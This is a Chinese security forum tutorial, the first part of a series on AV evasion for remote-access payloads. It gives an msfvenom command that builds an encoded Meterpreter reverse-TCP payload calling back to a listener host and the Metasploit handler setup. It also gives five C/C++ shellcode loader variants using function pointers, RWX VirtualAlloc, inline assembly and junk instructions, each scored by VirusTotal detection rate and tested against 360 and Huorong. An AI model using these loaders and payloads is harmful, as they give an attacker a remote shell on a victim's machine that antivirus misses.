安全矩阵

 找回密码
 立即注册
搜索
查看: 2207|回复: 0

远控免杀专题(26)-C、C++加载shellcode免杀(上) ​

[复制链接]

3

主题

10

帖子

55

积分

注册会员

Rank: 2

积分
55
发表于 2020-3-8 00:34:25 | 显示全部楼层 |阅读模式
(由于内容较多篇幅较长,分成了上中下三篇文章)

一、C/C++加载shellcode免杀介绍

二、C/C++源码编译
    2.1 方法1:指针执行(VT免杀率23/71)
    2.2 方法2:申请动态内存加载(VT免杀率24/71)
    2.3 方法3:嵌入汇编加载(VT免杀率12/71)
    2.4 方法4:强制类型转换(VT免杀率9/70)
    2.5 方法5:汇编花指令(VT免杀率12/69)
    2.6 方法6:XOR加密(VT免杀率15/71)
    2.7 方法7:base64加密法1(VT免杀率28/69)
    2.8 方法8:base64加密法2(VT免杀率28/69)
    2.9 方法9:python变形shellcode+汇编代码(VT免杀率8/70)
    2.10 方法10:python+xor处理(VT免杀率15/69)

三、使用shellcode加载器
    3.1 使用shellcode_launcher(VT免杀率3/71)
    3.2 使用SSI加载(VT免杀率6/69)

四、参考资料
免杀能力一览表

几点说明:
1、上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。
2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。
3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2020.01.01),火绒版本5.0.34.16(2020.01.01),360安全卫士12.0.0.2002(2020.01.01)。
4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀或杀软查杀能力的判断指标。
5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。

一、C/C++加载shellcode免杀介绍
在此之前对各种常见免杀工具进行了介绍,也可以从中了解很多免杀工具的原理,很多都是使用msfvenom生成shellcode,然后对shellcode进行混淆、编码等各种处理,最终再使用各种语言进行编译或加载。而被用到的最多的语言就是C/C++、C#和python。
这里我们介绍一下C/C++加载shellcode手工编译的方法,一般分为两种方式:
1、C/C++源码+shellcode直接编译,其中对shellcode的执行可以使用函数指针执行、汇编指令执行、申请动态内存等方式,且shellcode可进行一些加密混淆处理;比如免杀工具veil和Venom都是使用了类似的方法。
2、使用加载器加载C/C++代码,如shellcode_launcher之类。

二、C/C++源码编译
2.1 方法1:指针执行(VT免杀率23/71)
这是最常规的一种加载shellcode的方法,使用指针来执行函数,所以免杀效果可能比较一般。
先用Msfvenom生成c语言的shellcode,为了提高免杀效果,使用了shikata_ga_nai编码器。
msfvenom -p  windows/meterpreter/
reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00'
lhost=10.211.55.2 lport=3333  -f c -o shell.c

把shell.c中的shellcode内容拷贝到下面的buf[]中。
unsigned char buf[] =
"shellcode";
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制台程序不出黑窗口
main()
{
    ( (void(*)(void))&buf)();
}
上面的代码中pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")是控制执行后是否显示黑窗口的,不加这句的时候会显示一个黑窗口。可根据自己需要进行设置。
我用vs2017进行编译,先新建空项目

在源文件中创建test.c,写入上面的C代码和shellcode。

然后编译生成exe

在msf中进行监听

use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.211.55.2
set LPORT 3333
set EnableStageEncoding true

然后执行生成的Project2.exe

msf中可正常上线

​打开杀软进行测试,火绒静态和动态都可查杀,360杀毒和卫士没有反应



virustotal.com上查杀率23/71

2.2 方法2:申请动态内存加载(VT免杀率24/71)
下面的代码会申请一段动态内存,然后加载shellcode。

#include <Windows.h>
#include <stdio.h>
#include <string.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制台程序不出黑窗口
unsigned char buf[] =
"shellcode";
main()
{
    char *Memory;
    Memory=VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(Memory, buf, sizeof(buf));
    ((void(*)())Memory)();
}
还是使用方法1的方式进行编译


msf中可正常上线

打开杀软进行测试,和方法1一样,火绒静态和动态都可查杀,360杀毒和卫士没有反应

virustotal.com上查杀率24/71

​​2.3 方法3:嵌入汇编加载(VT免杀率12/71)
#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
unsigned char shellcode[] ="";
void main()
{
        __asm
    {
        mov eax, offset shellcode
        jmp eax
    }
}
在vs2017中编译执行

msf中可正常上线

打开杀软进行测试,这时候发现火绒一个Bug,火绒静态可查杀但是行为检测没报警,360杀毒和卫士没有反应,直接上线。



virustotal.com上查杀率12/71


2.4 方法4:强制类型转换(VT免杀率9/70)
和方法1有些类似

#include <windows.h>
#include <stdio.h>
unsigned char buf[] ="";
void main()
{
   ((void(WINAPI*)(void))&buf)();
}
打开杀软测试,静态+动态都没问题,可正常上线

virustotal.com上查杀率9/70

2.5 方法5:汇编花指令(VT免杀率12/69)
和方法3比较类似

#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
unsigned char shellcode[] ="";
void main()
{
        __asm
    {
        mov eax, offset shellcode
        _emit 0xFF  
        _emit 0xE0
    }
}
打开杀软进行测试,和方法3一样火绒出现bug,火绒静态可查杀但是行为检测没报警,360杀毒和卫士没有反应,直接上线。

virustotal.com上查杀率12/69

三、参考资料
Meterpreter免杀总结:https://carlstar.club/2019/01/04/dig/

shellcode加载总结:https://uknowsec.cn/posts/notes/ ... 80%BB%E7%BB%93.html

浅谈meterpreter免杀:https://www.jianshu.com/p/9d2790f6c8aa

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 01:48 , Processed in 0.012741 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表